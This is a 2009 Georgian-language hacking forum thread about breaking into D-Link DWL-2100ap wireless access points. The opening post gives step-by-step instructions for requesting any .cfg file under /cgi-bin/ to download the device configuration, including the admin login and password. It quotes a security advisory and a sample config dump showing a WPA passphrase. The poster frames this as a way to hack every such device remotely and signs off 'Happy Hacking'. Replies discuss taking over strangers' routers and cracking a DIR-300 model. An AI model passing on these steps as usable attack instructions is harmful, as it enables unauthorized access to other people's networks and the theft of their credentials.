D-Link Access-Point, აბა ვტეხავ ყველა :D პარამეტრები

[Classical]

მოკლედ ვწერთ მისამართს თუ შიდა ქსელში ვართ 192.168.1.1 ან რა Ip range ც არის და როგორცაა მოკლედ და შემდეგ ვწერთ cgi-bin/Intruders.cfg (მაგალითად 192.168.1.1/cgi-bin/Intruders.cfg) ამას ხოდა გვიგდებს cfg ს რომელსაც გავხსნით cmd ში შემდეგნაირად სადაც შვინახეთ cfg მაგალითად cd desktop hit enter და edit Intruders.cfg შიგნით დაგვხვდება პაროლი და იუზერი. გლობალურზეც მუშაობს ანუ შიდა ქსელიდან მოთხოვნის გაგზავნა არ არის აუცილებელი.

პროგრამული კოდი

# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg

cfg ში დაგვხვდება ესეთი რაღაცა

პროგრამული კოდი

# Copyright © 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password ნუ რაც არის პაროლი ის იქნება აქ
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

Happy Hacking

პოსტის უკანასკნელი ჩამსწორებელია Classical: Aug 1 2009, 09:41 PM

[otosaxel]

shadow-land

ეგ ყველაფერი კარგი მაგრამ თუ როუტერში შეისეირნებ და პაროლს შეცვლი გამოდის რომ ვისაც ის როუტერი უდგა ინტერნეტით ვეღარ ისარგებლებს რადგან როუტერი რომ პაროლს მოთხოვს ის ჩაწერს თავის შერჩჰეულს.....რაც სწორი არ იქნება.... მერე სხვის როუტერში რომც შეხვიდე მაინც შეზღუდული უფლებებით ისარგებლებ და ყველაფერს შენ ჩკვაზე ვერ გააკეთებ..)

და რატომ უნდა შეცვალო ეწ. WEP/WPA პაროლი? დატოვე იგივე და შეცვალე კონფიგის პაროლი.

პარტიპცია და ჩმოსში რა არი თუ ამიხსნი კარგს იზავ

მარტივად კომპში C დისკი სხვა პარტიპციაა D სხვაა, ნუ თუ ვთქვათ D CD არაა ან რამე ეგეთი (IMG:style_emoticons/default/biggrin.gif)
CHMOS არის იფოს შენახვა ბატარეიკით a.k.a. BIOS-ის პარამეტრები როგორც ინახება (IMG:style_emoticons/default/smile.gif)

P.S ჯერ ერთი ამ ფორუმზე იმიტო ვარ რო რაგაც ვისწავლო, მეორეც ჭეშმარიტება კამათში იბადება........ ასე რომ გავაგრძელოთ

რა თქმა უნდა, მაგრამ როცა ასეთი ჰაკი უკვე გაკეთებულია და მინიმუმ ჩემი თვალით მაქ ნანახი და დავიწყებული პაროლის აღდგენაშI მივეხმარე ასეთი ჰაკით მეგობარს, მგონი ტყუილა მედავები გაკვაულ საკითხებში (IMG:style_emoticons/default/biggrin.gif)

ანუ ეს დამოკიდებულია როუტერზე, მაგრამ ჩემდა გასაოცრად განსაკუთრებული როუტერის მოდელი a. k. a. DIR-300 ერთი დროის ბოლო პრაშივკით სემიჩკასავით ტყდებოდა (IMG:style_emoticons/default/smile.gif)

+ ეს AP ჰაკია, მართალია მე არ მიცდია მაგრამ როგორც Classical ამბობს ეს მუშა მეთოდია (IMG:style_emoticons/default/smile.gif)